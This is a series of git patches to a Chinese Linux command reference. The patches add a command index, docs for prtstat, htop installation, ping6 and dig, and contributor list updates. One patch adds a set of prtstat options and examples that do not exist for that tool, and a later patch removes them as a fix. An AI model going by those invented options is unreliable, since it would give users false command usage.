53373b0f1130d3833958be6b3907e9d9954e9cd2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 26 Apr 2023 13:49:53 +0800 Subject: [PATCH 151/570] chore: renamed maintainers.md -> CONTRIBUTING.md #490 --- maintainers.md => CONTRIBUTING.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename maintainers.md => CONTRIBUTING.md (100%) diff --git a/maintainers.md b/CONTRIBUTING.md similarity index 100% rename from maintainers.md rename to CONTRIBUTING.md From a4270d84eaca058fd852c13bbe4c7e0d2945f3cd Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 26 Apr 2023 13:51:36 +0800 Subject: [PATCH 152/570] chore: update dist/data.json --- dist/data.json | 15 +++++++++++++++ dist/data.min.json | 2 +- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index 44787d5211f..873255bc473 100644 --- a/dist/data.json +++ b/dist/data.json @@ -854,6 +854,11 @@ "p": "/getenforce", "d": "显示当前SELinux的应用模式，是强制、执行还是停用" }, + "getent": { + "n": "getent", + "p": "/getent", + "d": "查询 DNS 名称服务器中的命名空间" + }, "getsebool": { "n": "getsebool", "p": "/getsebool", @@ -1754,6 +1759,11 @@ "p": "/openssl", "d": "强大的安全套接字层密码库" }, + "pacman": { + "n": "pacman", + "p": "/pacman", + "d": "Arch Linux 系统极其衍生系统中默认使用的包管理器" + }, "parted": { "n": "parted", "p": "/parted", @@ -1949,6 +1959,11 @@ "p": "/pwd", "d": "显示当前工作目录的绝对路径。" }, + "pwdx": { + "n": "pwdx", + "p": "/pwdx", + "d": "用于显示指定进程的当前工作目录" + }, "pwunconv": { "n": "pwunconv", "p": "/pwunconv", diff --git a/dist/data.min.json b/dist/data.min.json index 2d0cb83064c..2c2900a7e14 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 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X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From b151c013b63fbaedc75cbf47c0154289458dc329 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 26 Apr 2023 13:52:16 +0800 Subject: [PATCH 153/570] released v1.15.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 3de75a15717..c19b98c24b0 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.14.0", + "version": "1.15.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From c01631b17ffcac8d22527cbf4097017ac61e364e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 26 Apr 2023 13:57:54 +0800 Subject: [PATCH 154/570] chore: Update ci.yml --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1c31a07f603..743bbe950f6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,7 +18,7 @@ jobs: uses: jaywcjlove/github-action-contributors@main id: contributors with: - filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + filter-author: (renovate\[bot\]|renovate-bot|@github-actions-bot|dependabot\[bot\]) avatarSize: 42 - name: Modify README.md @@ -215,4 +215,4 @@ jobs: # run: | # echo "version: v${{ steps.changelog.outputs.version }}" # docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} - # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file + # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} From d87b161d9250f3ba5582ab86e8e9339cdf295f83 Mon Sep 17 00:00:00 2001 From: LinuxZilong <97012545+LinuxZilong@users.noreply.github.com> Date: Thu, 27 Apr 2023 20:36:11 +0800 Subject: [PATCH 155/570] feat: add prtstat.md (#491) --- command/prtstat.md | 58 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 command/prtstat.md diff --git a/command/prtstat.md b/command/prtstat.md new file mode 100644 index 00000000000..1e0f3222fbd --- /dev/null +++ b/command/prtstat.md @@ -0,0 +1,58 @@ +prtstat +=== + +显示进程信息 + +## 概要 + +```shell +prtstat [-r|--raw] pid +prtstat -V|--version +``` + +## 主要用途 + +- prtstat打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 + + +## 参数 + +-r：以原始(raw)格式打印进程的统计信息 + +-V: 打印prtstat的版本信息 + +## 例子 + +```shell +[root@localhost command]# ps -ef|grep nginx +root 4022 250867 0 16:39 pts/1 00:00:00 grep --color=auto nginx +root 224312 1 0 4月26 ? 00:00:00 nginx: master process /var/openresty/nginx/sbin/nginx +nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process +[root@localhost command]# prtstat -r 224312 + pid: 224312 comm: nginx + state: S ppid: 1 + pgrp: 224312 session: 224312 + tty_nr: 0 tpgid: -1 + flags: 402040 minflt: 110 + cminflt: 0 majflt: 0 + cmajflt: 0 utime: 0 + stime: 0 cutime: 0 + cstime: 0 priority: 20 + nice: 0 num_threads: 1 + itrealvalue: 0 starttime: 6271470 + vsize: 56369152 rss: 413 + rsslim: 18446744073709551615 startcode: 4194304 + endcode: 5772276 startstack: 140722783765648 + kstkesp: 7FFC9389BFB8 kstkeip: 7F25CD42F6C6 + wchan: 18446744071885754297 nswap: 0 + cnswap: 18446744071885754297 exit_signal: 17 + processor: 2 rt_priority: 0 + policy: 0 delayaccr_blkio_ticks: 0 + guest_time: 0 cguest_time: 0 +``` + +### 注意 + +1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 +2. psmisc.x86_64 : 用于管理系统上进程的实用程序 + From 452e2bf388b1c6e7836d1b48326e68cad493748f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Apr 2023 20:42:04 +0800 Subject: [PATCH 156/570] doc: update prtstat.md (#491) --- command/prtstat.md | 77 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 68 insertions(+), 9 deletions(-) diff --git a/command/prtstat.md b/command/prtstat.md index 1e0f3222fbd..2a02b7fb1d5 100644 --- a/command/prtstat.md +++ b/command/prtstat.md @@ -3,23 +3,34 @@ prtstat 显示进程信息 -## 概要 +## 补充说明 + +**prtstat命令**打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 + +## 语法 ```shell prtstat [-r|--raw] pid prtstat -V|--version ``` -## 主要用途 - -- prtstat打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 - - ## 参数 --r：以原始(raw)格式打印进程的统计信息 - --V: 打印prtstat的版本信息 +```shell +-t：显示系统总体状态 +-p pid：显示指定进程的状态 +-d：显示磁盘 I/O 统计信息 +-n：显示网络 I/O 统计信息 +-s：显示系统调用统计信息 +-u：显示用户 CPU 使用率统计信息 +-w：显示等待事件统计信息 +-x：显示进程间通信统计信息 +-h：显示帮助信息 +-i interval：设置输出间隔时间 +-c count：设置输出次数 +-l：使用长格式输出 +-v：显示版本信息 +``` ## 例子 @@ -51,6 +62,54 @@ nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process guest_time: 0 cguest_time: 0 ``` +显示当前系统的总体状态，包括 CPU 使用率、内存使用率、磁盘 I/O 等信息。 + +```shell +prtstat -t +``` + +显示指定进程的 CPU 使用率、内存使用率、线程数等信息。 + +```shell +prtstat -p pid +``` + +显示磁盘 I/O 统计信息，包括每个磁盘的读写速度、IOPS 等。 + +```shell +prtstat -d +``` + +显示网络 I/O 统计信息，包括每个网络接口的传输速度、数据包数等。 + +```shell +prtstat -n +``` + +显示系统调用统计信息，包括每个系统调用的调用次数、平均耗时等。 + +```shell +prtstat -s +``` + +显示用户 CPU 使用率统计信息，包括每个用户的 CPU 使用率、进程数等。 + +```shell +prtstat -u +``` + +显示等待事件统计信息，包括每个等待事件的等待次数、平均等待时间等。 + +```shell +prtstat -w +``` + +显示进程间通信统计信息，包括每个进程间通信方式的调用次数、平均耗时等。 + +```shell +prtstat -x +``` + ### 注意 1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 From 314925d96bbd5c0ed5b221d8616dbced2a954c0a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Apr 2023 12:43:02 +0000 Subject: [PATCH 157/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9bc6bbdf976..2514fe04d81 100644 --- a/README.md +++ b/README.md @@ -493,6 +493,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 孟思行 + + LinuxZilong + Lucien From 9a08889b2a59ea8c7f74fd1f8325874aed4ea2fc Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Apr 2023 12:43:03 +0000 Subject: [PATCH 158/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 648bd741ddc..74cca879dc5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -141,6 +141,9 @@ 孟思行 + + LinuxZilong + Lucien From 95a33dd6d4417b31c30bd518188398511ae5bb4f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 28 Apr 2023 11:26:26 +0800 Subject: [PATCH 159/570] doc: update prtstat.md (fix #493) --- command/prtstat.md | 66 ---------------------------------------------- 1 file changed, 66 deletions(-) diff --git a/command/prtstat.md b/command/prtstat.md index 2a02b7fb1d5..daca42fc63b 100644 --- a/command/prtstat.md +++ b/command/prtstat.md @@ -14,24 +14,6 @@ prtstat [-r|--raw] pid prtstat -V|--version ``` -## 参数 - -```shell --t：显示系统总体状态 --p pid：显示指定进程的状态 --d：显示磁盘 I/O 统计信息 --n：显示网络 I/O 统计信息 --s：显示系统调用统计信息 --u：显示用户 CPU 使用率统计信息 --w：显示等待事件统计信息 --x：显示进程间通信统计信息 --h：显示帮助信息 --i interval：设置输出间隔时间 --c count：设置输出次数 --l：使用长格式输出 --v：显示版本信息 -``` - ## 例子 ```shell @@ -62,54 +44,6 @@ nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process guest_time: 0 cguest_time: 0 ``` -显示当前系统的总体状态，包括 CPU 使用率、内存使用率、磁盘 I/O 等信息。 - -```shell -prtstat -t -``` - -显示指定进程的 CPU 使用率、内存使用率、线程数等信息。 - -```shell -prtstat -p pid -``` - -显示磁盘 I/O 统计信息，包括每个磁盘的读写速度、IOPS 等。 - -```shell -prtstat -d -``` - -显示网络 I/O 统计信息，包括每个网络接口的传输速度、数据包数等。 - -```shell -prtstat -n -``` - -显示系统调用统计信息，包括每个系统调用的调用次数、平均耗时等。 - -```shell -prtstat -s -``` - -显示用户 CPU 使用率统计信息，包括每个用户的 CPU 使用率、进程数等。 - -```shell -prtstat -u -``` - -显示等待事件统计信息，包括每个等待事件的等待次数、平均等待时间等。 - -```shell -prtstat -w -``` - -显示进程间通信统计信息，包括每个进程间通信方式的调用次数、平均耗时等。 - -```shell -prtstat -x -``` - ### 注意 1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 From 76d6dc86e5d7c4e30e4cdeabe323f01a60ac3526 Mon Sep 17 00:00:00 2001 From: Wang Jianing Date: Tue, 2 May 2023 21:56:41 +0800 Subject: [PATCH 160/570] doc: update command/htop.md. (#494) --- command/htop.md | 58 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) diff --git a/command/htop.md b/command/htop.md index 60182f35b0a..9a0c886834b 100644 --- a/command/htop.md +++ b/command/htop.md @@ -24,6 +24,54 @@ top缺点： htop 官网：http://htop.sourceforge.net/ +### htop 安装 + +在大多数的 Linux 发行版中你不会找到预安装的 `htop`，但作为最流行的实用程序之一，你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。 + +因此，如果你的机器是基于 Debian/Ubuntu 驱动的，则以下命令应该可以完成你的工作： + +```shell +sudo apt install htop +``` + +类似的，如果你使用的是 Fedora，则可以使用以下的命令： + +```shell +sudo dnf install htop +``` + +如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令： + +```shell +sudo yum install htop +``` +如果你想避免从源代码构建包，还有一个 Snap 包可用： + +```shell +sudo snap install htop +``` + +如果你使用的是其它的发行版或者想从源代码构建，你可以使用 `wget` 下载并安装： +这需要你下载并安装 `wget` `cmake` + +```shell +wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz + +tar -zxvf htop-2.2.0.tar.gz + +cd htop-2.2.0/ + +./configure + +make + +make install +``` + +当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。 + +**说明**：htop源码安装方式默认安装到 `/usr/local` 目录下，如果想安装到其它路径，在执行 configure 时通过 `—prefix` 指定，格式为：`./configure --prefix=/some/path` + ### 语法 ```shell @@ -42,6 +90,16 @@ htop -v --version 打印版本信息 ``` +#### 参数示例 + +- -C 选项：设置界面为无颜色。 + +- -d 选项 : 设置刷新时间，单位为秒。如，htop -d 10命令会每10秒刷新一次。 + +- -s 选项 : 按指定的列排序。如，htop -s PID命令会按PID 列的大小排序来显示。 + +- -u 选项 : 显示指定的用户的进程信息。如，htop -u test命令会只显示出用户名为test的相关进程。 + ### 选项 ```shell From 032735a7201f3ef059bcf0136af2fc84796eb2e5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 2 May 2023 13:57:17 +0000 Subject: [PATCH 161/570] doc: update README.md. --- README.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 2514fe04d81..f712dad0279 100644 --- a/README.md +++ b/README.md @@ -409,8 +409,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 loverainye - - jeff + + Han Rui dulltackle @@ -544,6 +544,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C + + Wang Jianing + iwangjie @@ -685,8 +688,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 weibk - - wlf-darkmatter + + 王凌枫 yanyx From 40992e1ab822c8e4004b76aa1ee4328c21cb0155 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 2 May 2023 13:57:17 +0000 Subject: [PATCH 162/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 74cca879dc5..107925c839d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -57,8 +57,8 @@ loverainye - - jeff + + Han Rui dulltackle @@ -192,6 +192,9 @@ Spaghetti-C + + Wang Jianing + iwangjie @@ -333,8 +336,8 @@ weibk - - wlf-darkmatter + + 王凌枫 yanyx From b68c273d352d8d3fdf0e792593dd47795b9994b5 Mon Sep 17 00:00:00 2001 From: Wang Jianing Date: Fri, 5 May 2023 22:49:35 +0800 Subject: [PATCH 163/570] doc: update htop.md/ping.md/ping6.md (#495) * Make detailed supplements to some commands. * Added the ipv6 side network test command. * Added the ipv6 side network test command. --- README.md | 14 ++++++++++++- command/ping.md | 4 ++-- command/ping6.md | 53 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 68 insertions(+), 3 deletions(-) create mode 100644 command/ping6.md diff --git a/README.md b/README.md index f712dad0279..e81a08c0e3e 100644 --- a/README.md +++ b/README.md @@ -169,6 +169,16 @@ http://localhost:9665/ ## 目录 +- [Web 版本](#web-版本) +- [微信小程序版本](#微信小程序版本) +- [Chrome 插件](#chrome-插件) +- [Raycast 版本](#raycast-版本) +- [Alfred 版本](#alfred-版本) +- [Dash 版本](#dash-版本) +- [Android 版本](#android-版本) +- [命令行工具](#命令行工具) +- [Docker](#docker) +- [Vercel](#vercel) - [目录](#目录) - [Linux命令分类](#linux命令分类) - [文件传输](#文件传输) @@ -191,6 +201,8 @@ http://localhost:9665/ - [中国开源镜像站点](#中国开源镜像站点) - [游戏玩家发行版](#游戏玩家发行版) - [Team](#team) +- [感谢所有贡献者](#感谢所有贡献者) +- [License](#license) ## Linux命令分类 @@ -231,7 +243,7 @@ awk、col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep ### 网络通讯 -dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ip、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup +dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ip、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、ping6、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup ### 设备管理 diff --git a/command/ping.md b/command/ping.md index 1163b292f65..0b387e42c7a 100644 --- a/command/ping.md +++ b/command/ping.md @@ -1,7 +1,7 @@ ping === -测试主机之间网络的连通性 +测试主机之间网络的连通性(ipv4) ## 补充说明 @@ -10,7 +10,7 @@ ping ### 语法 ```shell -ping(选项)(参数) +ping (选项) (参数) ``` ### 选项 diff --git a/command/ping6.md b/command/ping6.md new file mode 100644 index 00000000000..ee976883476 --- /dev/null +++ b/command/ping6.md @@ -0,0 +1,53 @@ +ping6 +=== + +测试主机之间网络的连通性(ipv6) + +## 补充说明 + +**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境，选择支持 v6 的网站进行访问(ping)。 +执行 ping6 指令会使用 ICMPv6 传输(OSI)协议，发出要求回应的信息，若远端主机的网络功能没有问题，就会回应该信息，因而得知该主机运作正常。 + +### 语法 + +```bash +ping6 (选项) (地址) [网络接口名称] +``` + +### 选项 + +```bash +-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询; +-b [bufsiz]: 设置套接字缓冲区大小; +-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止; +-h [hoplimit]: 设置 IPv6 跳数限制; +-I [interface]: 具有给定接口地址的源数据包; +-i [wait]: 在发送每个数据包之间等待几秒钟，默认是 1 秒; +-p [policy]: policy 指定要用于探测的 IPsec 策略; +``` +### 地址 + +目的主机：指定发送 ICMPv6 报文的目的主机。 + +### 实例 + +```bash +$ ping6 -c4 ipw.cn + +PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1 +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms + +--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics --- +4 packets transmitted, 4 packets received, 0.0% packet loss +round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms +``` + +### 服务器 IPv6 Ping 失败可能原因 + +1. 服务器未开启 IPv6。 +2. 服务器已开启 IPv6，但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问， + + From cb4c9b6a83d0f05b66f9d70fe8f1abde3d868480 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 5 May 2023 14:50:09 +0000 Subject: [PATCH 164/570] doc: update README.md. --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index e81a08c0e3e..8391e7f5e66 100644 --- a/README.md +++ b/README.md @@ -460,6 +460,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell + + Wang Jianing + DaYangtuo247 @@ -556,9 +559,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C - - Wang Jianing - iwangjie @@ -604,8 +604,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 c2ch - - chen + + Forever121 cxalc From ad495b72865c32bb4d29cf61ce4b29cd21217988 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 5 May 2023 14:50:10 +0000 Subject: [PATCH 165/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 107925c839d..e813f0b10b2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -96,6 +96,9 @@ Shell + + Wang Jianing + DaYangtuo247 @@ -192,9 +195,6 @@ Spaghetti-C - - Wang Jianing - iwangjie @@ -240,8 +240,8 @@ c2ch - - chen + + Forever121 cxalc From 62792785f0594f9c5d15910c79de9f52b22bc539 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 10 May 2023 16:17:07 +0800 Subject: [PATCH 166/570] doc: Update dig.md (fix #496) --- command/dig.md | 33 ++++++++++++++++----------------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/command/dig.md b/command/dig.md index c832c32e563..47109c4775a 100644 --- a/command/dig.md +++ b/command/dig.md @@ -37,29 +37,28 @@ dig(选项)(参数) ### 实例 ```shell -[root@localhost ~]# dig www.jsdig.com +[root@localhost ~]# dig www.baidu.com -; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> www.jsdig.com -;; global options: printcmd +; <<>> DiG 9.10.6 <<>> www.baidu.com +;; global options: +cmd ;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2115 -;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0 +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295 +;; flags: qr rd ra; QUERY: 1, 